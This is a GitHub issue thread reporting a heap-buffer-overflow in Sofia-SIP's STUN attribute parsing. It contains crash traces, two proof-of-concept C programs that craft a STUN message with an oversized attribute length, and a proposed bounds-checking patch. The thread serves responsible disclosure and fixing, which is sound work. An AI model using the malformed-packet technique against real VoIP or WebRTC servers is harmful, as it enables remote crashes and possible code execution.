heap-buffer-overflow when receivin an STUN request
carcharothellobo opened this issue · 15 comments
Hi, Im having some strange behaviour. My Servers start crashing ramdomly with heap-buffer-overflow after a message indicating an incoming STUN request. Im in last version of Freeswitch Sofia SIP (1.13.9).
Im using SofiaSIP with last version fo Janus WebRTC Server
stun request from 200.61.34.50:63146
=================================================================
==25==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0002c2bf1 at pc 0x7f2727ef331e bp 0x7f2710cf9570 sp 0x7f2710cf8d20
READ of size 192 at 0x60b0002c2bf1 thread T363
#0 0x7f2727ef331d (/usr/lib/x86_64-linux-gnu/libasan.so.5+0x3f31d)
#1 0x7f271d586610 in stun_parse_attribute (/usr/lib/libsofia-sip-ua.so.0+0x127610)
#2 0x7f271d5866d4 in stun_parse_message (/usr/lib/libsofia-sip-ua.so.0+0x1276d4)
#3 0x7f271d586c1b (/usr/lib/libsofia-sip-ua.so.0+0x127c1b)
#4 0x7f271d587346 in stun_mini_request (/usr/lib/libsofia-sip-ua.so.0+0x128346)
#5 0x7f271d578c47 in tport_recv_stun_dgram (/usr/lib/libsofia-sip-ua.so.0+0x119c47)
#6 0x7f271d57327b in tport_recv_dgram (/usr/lib/libsofia-sip-ua.so.0+0x11427b)
#7 0x7f271d56f81f in tport_recv_event (/usr/lib/libsofia-sip-ua.so.0+0x11081f)
#8 0x7f271d571cc2 (/usr/lib/libsofia-sip-ua.so.0+0x112cc2)
#9 0x7f271d55d589 (/usr/lib/libsofia-sip-ua.so.0+0xfe589)
#10 0x7f271d55b561 in su_base_port_run (/usr/lib/libsofia-sip-ua.so.0+0xfc561)
#11 0x7f271d55bcea (/usr/lib/libsofia-sip-ua.so.0+0xfccea)
#12 0x7f272705cfa2 in start_thread /build/glibc-6iIyft/glibc-2.28/nptl/pthread_create.c:486
#13 0x7f2726f8e06e in clone (/lib/x86_64-linux-gnu/libc.so.6+0xf906e)
memcpy(attr->enc_buf.data, p, len);
I believe is this memcpy(). not checking bounds when reading from p.
Any sofia debug logs ?
Where can I see those logs? Im not an expert in this library, sorry, my logs are from Janus Log.
"sofia loglevel all 9" at fs_cli .
Im not using Freeswitch, Im using this library in Janus WebRTC Server, so I don't have fs_cli.
Im not an expert in C, but I understand that you can place some validation in order check these bounds. Is it possible? I just need that service don't crash
Hi, do you have any update? Is it possible to place this validation in order to avoid crashings
Guy, do you have any update?
Hi, I have some more debug about this issue.
nua.c:1164 nua_handle_unref_user() nua nua_handle_unref_user(0x6120001bb8c0): entering
nua_stack.c:559 nua_signal() nua(0x6120001bb8c0): sent signal r_handle_unref
nua.c:1157 nua_unref_user() nua: nua_unref_user: entering
nua_stack.c:559 nua_signal() nua((nil)): sent signal r_unref
nua_stack.c:389 nua_application_event() nua: nua_application_event: entering
nua.c:1164 nua_handle_unref_user() nua nua_handle_unref_user(0x6120001bb8c0): entering
nua_stack.c:559 nua_signal() nua(0x6120001bb8c0): sent signal r_handle_unref
nua.c:1157 nua_unref_user() nua: nua_unref_user: entering
nua_stack.c:559 nua_signal() nua((nil)): sent signal r_unref
nua_stack.c:599 nua_stack_signal() nua(0x6120001bb8c0): recv signal r_handle_unref
nua_stack.c:599 nua_stack_signal() nua((nil)): recv signal r_unref
nua_stack.c:599 nua_stack_signal() nua(0x6120001bb8c0): recv signal r_handle_unref
nua_stack.c:599 nua_stack_signal() nua((nil)): recv signal r_unref
nta.c:1308 agent_timer() nta: timer set next to 553 ms
nta.c:1308 agent_timer() nta: timer set next to 1000 ms
nta.c:7240 _nta_incoming_timer() nta: timer J fired, terminate 200 response
nta.c:5896 incoming_reclaim_queued() incoming_reclaim_all((nil), (nil), 0x7f1a2a6f2910)
nta.c:7269 _nta_incoming_timer() nta_incoming_timer: 0/0 resent, 0/0 tout, 1/3 term, 1/3 free
nta.c:1308 agent_timer() nta: timer set next to 3446 ms
nta.c:9225 outgoing_timer_dk() nta: timer K fired, terminate SUBSCRIBE (59666832)
nta.c:9225 outgoing_timer_dk() nta: timer K fired, terminate SUBSCRIBE (59666833)
nta.c:8897 outgoing_reclaim_queued() outgoing_reclaim_all((nil), (nil), 0x7f1a37857900)
nta.c:9044 _nta_outgoing_timer() nta_outgoing_timer: 0/0 resent, 0/0 tout, 2/2 term, 2/2 free
nta.c:1308 agent_timer() nta: timer set next to 12257 ms
nta.c:7240 _nta_incoming_timer() nta: timer J fired, terminate 200 response
nta.c:5896 incoming_reclaim_queued() incoming_reclaim_all((nil), (nil), 0x7f1a2fefd910)
nta.c:7269 _nta_incoming_timer() nta_incoming_timer: 0/0 resent, 0/0 tout, 1/4 term, 1/4 free
nta.c:1308 agent_timer() nta: timer set next to 2998 ms
tport.c:2777 tport_wakeup_pri() tport_wakeup_pri(0x6160001eb180): events IN
tport.c:2900 tport_recv_event() tport_recv_event(0x6160001eb180)
tport.c:3241 tport_recv_iovec() tport_recv_iovec(0x6160001eb180) msg 0x619000b63a80 from (udp/192.168.56.53:56096) has 96 bytes, veclen = 1
stun request from 190.183.221.155:53866
stun_common.c:95 stun_parse_message() stun_parse_message: Parse STUN message: Length = 76
stun_common.c:124 stun_parse_attribute() stun_parse_attribute: received attribute: Type 06, Length 9 - USERNAME
stun_common.c:124 stun_parse_attribute() stun_parse_attribute: received attribute: Type 00, Length 192 - Attribute undefined
=================================================================
==24==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000616a51 at pc 0x7f1a513a931e bp 0x7f1a2a6f2400 sp 0x7f1a2a6f1bb0
READ of size 192 at 0x60b000616a51 thread T102
#0 0x7f1a513a931d (/usr/lib/x86_64-linux-gnu/libasan.so.5+0x3f31d)
#1 0x7f1a4588529b in stun_parse_attribute (/usr/lib/libsofia-sip-ua.so.0+0x17429b)
#2 0x7f1a45884efd in stun_parse_message (/usr/lib/libsofia-sip-ua.so.0+0x173efd)
#3 0x7f1a458879e3 in process_3489_request (/usr/lib/libsofia-sip-ua.so.0+0x1769e3)
#4 0x7f1a458878c4 in stun_mini_request (/usr/lib/libsofia-sip-ua.so.0+0x1768c4)
#5 0x7f1a4587374c in tport_recv_stun_dgram (/usr/lib/libsofia-sip-ua.so.0+0x16274c)
#6 0x7f1a45867cc2 in tport_recv_dgram (/usr/lib/libsofia-sip-ua.so.0+0x156cc2)
#7 0x7f1a4585d55f in tport_recv_data (/usr/lib/libsofia-sip-ua.so.0+0x14c55f)
#8 0x7f1a4585d606 in tport_recv_event (/usr/lib/libsofia-sip-ua.so.0+0x14c606)
#9 0x7f1a4585d334 in tport_base_wakeup (/usr/lib/libsofia-sip-ua.so.0+0x14c334)
#10 0x7f1a4585d032 in tport_wakeup_pri (/usr/lib/libsofia-sip-ua.so.0+0x14c032)
#11 0x7f1a45849ec8 in su_epoll_port_wait_events (/usr/lib/libsofia-sip-ua.so.0+0x138ec8)
#12 0x7f1a458462ac in su_base_port_run (/usr/lib/libsofia-sip-ua.so.0+0x1352ac)
#13 0x7f1a458424f8 in su_port_run (/usr/lib/libsofia-sip-ua.so.0+0x1314f8)
#14 0x7f1a458435d3 in su_root_run (/usr/lib/libsofia-sip-ua.so.0+0x1325d3)
#15 0x7f1a45847068 in su_pthread_port_clone_main (/usr/lib/libsofia-sip-ua.so.0+0x136068)
#16 0x7f1a50512fa2 in start_thread /build/glibc-6iIyft/glibc-2.28/nptl/pthread_create.c:486
#17 0x7f1a5044406e in clone (/lib/x86_64-linux-gnu/libc.so.6+0xf906e)
Hi @carcharothellobo and @dragos-oancea , during a recent security test, we found several bugs, including this flaw. Since this issue has partially disclosed some details, I will post the report here:
TITLE
Sofia-SIP stun_parse_attribute Controllable Heap-Over-Flow
DATE
11/04/2022
VULNERABILITY DETAILS
Sofia-SIP (third-party lib) lacks both message length and attributes length checks when it handles STUN packets, leading to controllable heap-over-flow. You can view the patch below for more details.
For example, in stun_parse_attribute() [1], after we get the attribute's type and length value [2], the length will be used directly to copy from the heap, regardless of the message's left size:
int stun_parse_attribute(stun_msg_t *msg, unsigned char *p)
{
int len;
uint16_t attr_type;
stun_attr_t *attr, *next;
attr_type = get16(p, 0); // <-- get from message, controlled by sender, e.g., 0
len = get16(p, 2); // <-- get from message, controlled by sender, e.g., 0xffff
// ......
switch (attr->attr_type) {
// ......
default:
/* just copy as is */
attr->pattr = NULL;
attr->enc_buf.size = len;
attr->enc_buf.data = (unsigned char *) malloc(len);
memcpy(attr->enc_buf.data, p, len); // <-- msg->enc_buf.data - 20 (STUN_HEADER) - 4 (ATTR_HEADER) might be smaller than len, heap-over-flow!
break;
}
// ......
}
[1]
sofia-sip/libsofia-sip-ua/stun/stun_common.c
Line 121 in 2a6190f
[2] https://www.tech-invite.com/y50/tinv-ietf-rfc-5389-3.html#p-31
VERSION
Sofia-SIP v1.13.9 Release and previous
BISECT
The bug is introduced 16 years ago:
add sofia-sip 1.12.4 (plus some patches through 12/21/2006) to in tree libs
git-svn-id: http://svn.freeswitch.org/svn/freeswitch/trunk@3774 d0543943-73ff-0310-b7d9-9358b9ac24b2
REPRODUCTION CASE
stun_attr_oob_poc.c:
// libsofia-sip-ua/stun/stun_attr_oob_poc.c
// ./autogen.sh && CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure && make -j8 && cd libsofia-sip-ua/stun/
// gcc -fsanitize=address stun_attr_oob_poc.c -I ../.. -I ../su -I ../url/ -I ../sip/ -I ../stun -o stun_attr_oob_poc ../.libs/libsofia-sip-ua.a -lssl -lcrypto
// ./stun_attr_oob_poc
#include "config.h"
#include "stun_internal.h"
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#define STUN_HEADER_SIZE 20
#define STUN_ATTR_TYPE_SIZE 2
#define STUN_ATTR_LEN_SIZE 2
#define STUN_ATTR_VALUE_SIZE 0
int main(void)
{
const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
unsigned char *stun_message = calloc(1, stun_message_size);
if (stun_message == NULL)
{
perror("Failed to allocate stun_message");
exit(EXIT_FAILURE);
}
stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE; // set STUN
// stun_message[20][21] attr_type is zero now, not the root cause.
stun_message[22] = 0xff; stun_message[23] = 0xff; // set Attributes length to MAX 0xffff (STUN_ATTR_VALUE_SIZE is 0 actually)
stun_msg_t request = {.stun_attr = NULL};
request.enc_buf.data = stun_message;
request.enc_buf.size = stun_message_size;
stun_parse_message(&request); // heap-over-flow
free(stun_message);
return 0;
}
AddressSanitizer Report:
=================================================================
==11181==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000058 at pc 0x7ff8be6e2397 bp 0x7fff3eab0b90 sp 0x7fff3eab0338
READ of size 65535 at 0x603000000058 thread T0
#0 0x7ff8be6e2396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x56196c557412 in stun_parse_attribute (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1b412)
#2 0x56196c556d4d in stun_parse_message (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1ad4d)
#3 0x56196c556752 in main (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a752)
#4 0x7ff8bdfc3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#5 0x7ff8bdfc3e3f in __libc_start_main_impl ../csu/libc-start.c:392
#6 0x56196c5563c4 in _start (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a3c4)
0x603000000058 is located 0 bytes to the right of 24-byte region [0x603000000040,0x603000000058)
allocated by thread T0 here:
#0 0x7ff8be75ca37 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x56196c556540 in main (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a540)
#2 0x7ff8bdfc3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00 00 fa fa fa 00 00 00[fa]fa fa fa fa
0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==11181==ABORTING
SUPPOSED PATCH
From 47ef51ee2512ed9b5e99dbf2a05e0005a60a4e8c Mon Sep 17 00:00:00 2001
From: Qiuhao Li <qiuhao.li@zoom.us>
Date: Tue, 15 Nov 2022 15:00:23 +0800
Subject: [PATCH] stun: add checks for STUN messag len and attr len
Signed-off-by: Qiuhao Li <qiuhao.li@zoom.us>
---
libsofia-sip-ua/stun/sofia-sip/stun_common.h | 2 +-
libsofia-sip-ua/stun/stun_common.c | 19 ++++++++++++++++---
2 files changed, 17 insertions(+), 4 deletions(-)
diff --git a/libsofia-sip-ua/stun/sofia-sip/stun_common.h b/libsofia-sip-ua/stun/sofia-sip/stun_common.h
index 81f0ebd..32971ec 100644
--- a/libsofia-sip-ua/stun/sofia-sip/stun_common.h
+++ b/libsofia-sip-ua/stun/sofia-sip/stun_common.h
@@ -192,7 +192,7 @@ typedef struct stun_attr_unknownattributes_s{
/* Common functions */
int stun_parse_message(stun_msg_t *msg);
-int stun_parse_attribute(stun_msg_t *msg, unsigned char *p);
+int stun_parse_attribute(stun_msg_t *msg, unsigned char *p, size_t left_len);
int stun_parse_attr_address(stun_attr_t *attr, const unsigned char *p, unsigned len);
int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsigned len);
int stun_parse_attr_unknown_attributes(stun_attr_t *attr, const unsigned char *p, unsigned len);
diff --git a/libsofia-sip-ua/stun/stun_common.c b/libsofia-sip-ua/stun/stun_common.c
index 84e1215..46185f4 100644
--- a/libsofia-sip-ua/stun/stun_common.c
+++ b/libsofia-sip-ua/stun/stun_common.c
@@ -87,6 +87,13 @@ int stun_parse_message(stun_msg_t *msg)
/* parse header first */
p = msg->enc_buf.data;
+
+ if (get16(p, 2) > (msg->enc_buf.size - 20))
+ {
+ SU_DEBUG_3(("%s: Error STUN Message Length is too big.\n", __func__));
+ return -1;
+ }
+
msg->stun_hdr.msg_type = get16(p, 0);
msg->stun_hdr.msg_len = get16(p, 2);
memcpy(msg->stun_hdr.tran_id, p + 4, STUN_TID_BYTES);
@@ -98,8 +105,8 @@ int stun_parse_message(stun_msg_t *msg)
len = msg->stun_hdr.msg_len;
p = msg->enc_buf.data + 20;
msg->stun_attr = NULL;
- while (len > 0) {
- i = stun_parse_attribute(msg, p);
+ while (len >= 4) { // Type (2) + Length (2) + Value (variable) min attribute size
+ i = stun_parse_attribute(msg, p, len);
if (i <= 0 || i > len) {
SU_DEBUG_3(("%s: Error parsing attribute.\n", __func__));
return -1;
@@ -111,7 +118,7 @@ int stun_parse_message(stun_msg_t *msg)
return 0;
}
-int stun_parse_attribute(stun_msg_t *msg, unsigned char *p)
+int stun_parse_attribute(stun_msg_t *msg, unsigned char *p, size_t left_len)
{
int len;
uint16_t attr_type;
@@ -120,6 +127,12 @@ int stun_parse_attribute(stun_msg_t *msg, unsigned char *p)
attr_type = get16(p, 0);
len = get16(p, 2);
+ if ((left_len - 4) < len) // make sure we have enough space for attribute
+ {
+ SU_DEBUG_3(("%s: Error STUN attr len is too big.\n", __func__));
+ return -1;
+ }
+
SU_DEBUG_5(("%s: received attribute: Type %02X, Length %d - %s\n",
__func__, attr_type, len, stun_attr_phrase(attr_type)));
--
2.34.1
CREDIT INFORMATION
Qiuhao Li of Zoom Video Communications, Inc.
CC @andywolk ,
- I noticed we published some security advisories here. Could you help to publish a new advisory for this issue? This memory-corruption bug can be triggered remotely and by leveraging heap grooming, attackers may achieve DoS or even RCE. It would be helpful if we can have a CVE ID to trace it.
- For future security-related bugs, is there an official contact we can send reports to you?
Thanks,
Qiuhao Li
I add some simple validation in order to avoid these crashes and it works great but I think that you can make it better, Im no an expert in C. Here my patch
int stun_parse_attribute(stun_msg_t *msg, unsigned char *p)
{
int len;
uint16_t attr_type;
stun_attr_t *attr, *next;
attr_type = get16(p, 0);
len = get16(p, 2);
SU_DEBUG_5(("%s: received attribute: Type %02X, Length %d - %s\n",
__func__, attr_type, len, stun_attr_phrase(attr_type)));
if (attr_type > STUN_A_LAST_MANDATORY && attr_type < STUN_A_OPTIONAL) {
return -1;
}
+ if (strcmp(stun_attr_phrase(attr_type),"Attribute undefined") == 0) {
+ return -1;
+ }
attr = (stun_attr_t *)calloc(1, sizeof(stun_attr_t));
if (!attr)
return -1;
attr->next = NULL;
attr->attr_type = attr_type;
p += 4;
switch (attr->attr_type) {
case MAPPED_ADDRESS:
case RESPONSE_ADDRESS:
case SOURCE_ADDRESS:
case CHANGED_ADDRESS:
case REFLECTED_FROM:
#ifdef USE_TURN
case TURN_ALTERNATE_SERVER:
case TURN_DESTINATION_ADDRESS:
case TURN_SOURCE_ADDRESS:
#endif
if (stun_parse_attr_address(attr, p, len) < 0) {
free(attr);
return -1;
}
break;
Hi @carcharothellobo , your patch doesn't fix the root cause. This issue isn't relative to the attr_type actually. Is about that we didn't check if there is left space for stun's payload. For example, the PoC below will bypass your patch and cause a heap-over-flow (we set the attr_type to ERROR_CODE):
// libsofia-sip-ua/stun/stun_attr_oob_poc.c
// ./autogen.sh && CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure && make -j8 && cd libsofia-sip-ua/stun/
// gcc -fsanitize=address stun_attr_oob_poc.c -I ../.. -I ../su -I ../url/ -I ../sip/ -I ../stun -o stun_attr_oob_poc ../.libs/libsofia-sip-ua.a -lssl -lcrypto
// ./stun_attr_oob_poc
#include "config.h"
#include "stun_internal.h"
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#define STUN_HEADER_SIZE 20
#define STUN_ATTR_TYPE_SIZE 2
#define STUN_ATTR_LEN_SIZE 2
#define STUN_ATTR_VALUE_SIZE 0
int main(void)
{
const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
unsigned char *stun_message = calloc(1, stun_message_size);
if (stun_message == NULL)
{
perror("Failed to allocate stun_message");
exit(EXIT_FAILURE);
}
stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE; // set STUN
stun_message[21] = ERROR_CODE; // attr_type
stun_message[22] = 0xff; stun_message[23] = 0xff; // set Attributes length to MAX 0xffff (STUN_ATTR_VALUE_SIZE is 0 actually)
stun_msg_t request = {.stun_attr = NULL};
request.enc_buf.data = stun_message;
request.enc_buf.size = stun_message_size;
stun_parse_message(&request); // heap-over-flow
free(stun_message);
return 0;
}
ASAN report:
=================================================================
==19634==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000058 at pc 0x55bf9ab04d9a bp 0x7ffe4ff66150 sp 0x7ffe4ff66140
READ of size 4 at 0x603000000058 thread T0
#0 0x55bf9ab04d99 in stun_parse_attr_error_code (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1bd99)
#1 0x55bf9ab042ff in stun_parse_attribute (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1b2ff)
#2 0x55bf9ab03d8f in stun_parse_message (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1ad8f)
#3 0x55bf9ab03794 in main (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a794)
#4 0x7f3eda5b7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#5 0x7f3eda5b7e3f in __libc_start_main_impl ../csu/libc-start.c:392
#6 0x55bf9ab033c4 in _start (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a3c4)
0x603000000058 is located 0 bytes to the right of 24-byte region [0x603000000040,0x603000000058)
allocated by thread T0 here:
#0 0x7f3edad50a37 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x55bf9ab03540 in main (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a540)
#2 0x7f3eda5b7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1bd99) in stun_parse_attr_error_code
Shadow bytes around the buggy address:
0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00 00 fa fa fa 00 00 00[fa]fa fa fa fa
0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==19634==ABORTING
Let me take a look.
Yeah, I know my solution is not the final, but in the meantime it works for me. I have more than 20 servers crashing all the time because of this issue, and now they ar working with no interruptions. If you please place the right fix for this I will thank you so much.
@QiuhaoLi we'll likely merge your fix, we're not sure about the timeframe. It will be easier if you just make a PR.
@carcharothellobo your solution seems more like a workaround. good find.
@dragos-oancea Done. It would be nice to have a security advisory for this bug.